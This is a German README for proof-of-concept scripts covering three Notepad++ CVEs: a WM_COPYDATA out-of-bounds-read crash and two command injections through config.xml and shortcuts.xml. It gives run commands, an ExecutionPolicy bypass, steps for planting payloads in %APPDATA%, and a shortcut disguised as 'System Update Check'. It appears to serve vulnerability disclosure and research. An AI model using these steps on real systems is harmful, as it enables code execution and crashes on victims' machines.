
Proof-of-Concept-Skripte für drei Schwachstellen in Notepad++ <= 8.9.6, behoben in v8.9.6.1 (2026-05-26) CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
Proof-of-Concept-Skripte für drei Schwachstellen in Notepad++ <= 8.9.6, behoben in v8.9.6.1 (26.05.2026).

| CVE | Typ | CVSS | Auswirkung |
|---|---|---|---|
| CVE-2026-48770 | OOB-Read über WM_COPYDATA | 5.0 | DoS / Absturz |
| CVE-2026-48778 | OS-Befehlsinjektion über config.xml | 7.8 | RCE |
| CVE-2026-48800 | OS-Befehlsinjektion über shortcuts.xml | 7.8 | RCE |
.py-Skripte).ps1).
├── README.md
├── poc_CVE-2026-48770.py # OOB read crash (ctypes)
├── poc_CVE-2026-48778.py # RCE via config.xml
├── poc_CVE-2026-48800.py # RCE via shortcuts.xml
└── payloads/
├── config.xml # Drop-in payload (CVE-2026-48778)
├── shortcuts.xml # Drop-in payload (CVE-2026-48800)
└── poc_CVE-2026-48770.ps1 # OOB read crash (PowerShell)
Ein lokaler Prozess in derselben Windows-Sitzung sendet eine manipulierte WM_COPYDATA-Nachricht (dwData=3) ohne NUL-Terminator. Der Handler liest über die Puffergrenze hinaus, was eine Zugriffsverletzung (0xc0000005) auslöst, die Notepad++ zum Absturz bringt.
Auslöser: Notepad++ muss geöffnet sein.
PowerShell:
# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1
Python:
python poc_CVE-2026-48770.py
Erwartete Ausgabe:
[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)
Das Notepad++-Fenster verschwindet. WER (Windows-Fehlerberichterstattung) wird möglicherweise ausgelöst.
%APPDATA%\Notepad++\config.xml wird beim Start gelesen. Der Wert von <GUIConfig name="commandLineInterpreter"> wird ohne Validierung direkt an ShellExecute() übergeben. Wird er durch eine beliebige ausführbare Datei ersetzt, führt dies zu RCE, sobald der Benutzer auf Datei → Enthaltenden Ordner öffnen → cmd klickt.
# Inject (backs up original automatically)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe
# Trigger: open Notepad++ -> File -> Open Containing Folder -> cmd
# calc.exe launches instead of cmd.exe
# Restore
python poc_CVE-2026-48778.py --mode direct --restore
copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# Open Notepad++ -> File -> Open Containing Folder -> cmd
python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: File -> Open Containing Folder -> cmd
%APPDATA%\Notepad++\shortcuts.xml wird beim Start gelesen. <Command>-Einträge unter <UserDefinedCommands> werden zum Menü Ausführen hinzugefügt und ohne Validierung direkt an ShellExecute() übergeben. Ein vom Angreifer kontrollierter Eintrag wird bei einem Klick ausgeführt.
# Inject (backs up original automatically)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"
# Trigger: close and reopen Notepad++ -> Run menu -> "System Update Check"
# calc.exe launches
# Restore
python poc_CVE-2026-48800.py --mode direct --restore
copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# Restart Notepad++ -> Run menu -> "System Update Check"
python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: Run menu -> "System Update Check"
Aktualisieren Sie Notepad++ auf v8.9.6.1 oder neuer.
Download: https://notepad-plus-plus.org/downloads/
| CVE | Advisory |
|---|---|
| CVE-2026-48770 | GHSA-r39g-3mcw-xcg2 |
| CVE-2026-48778 | GHSA-7hm3-wp5q-ccv9 |
| CVE-2026-48800 | GHSA-3x3f-3j39-pj3v |
Nur für Forschungs- und autorisierte Testzwecke.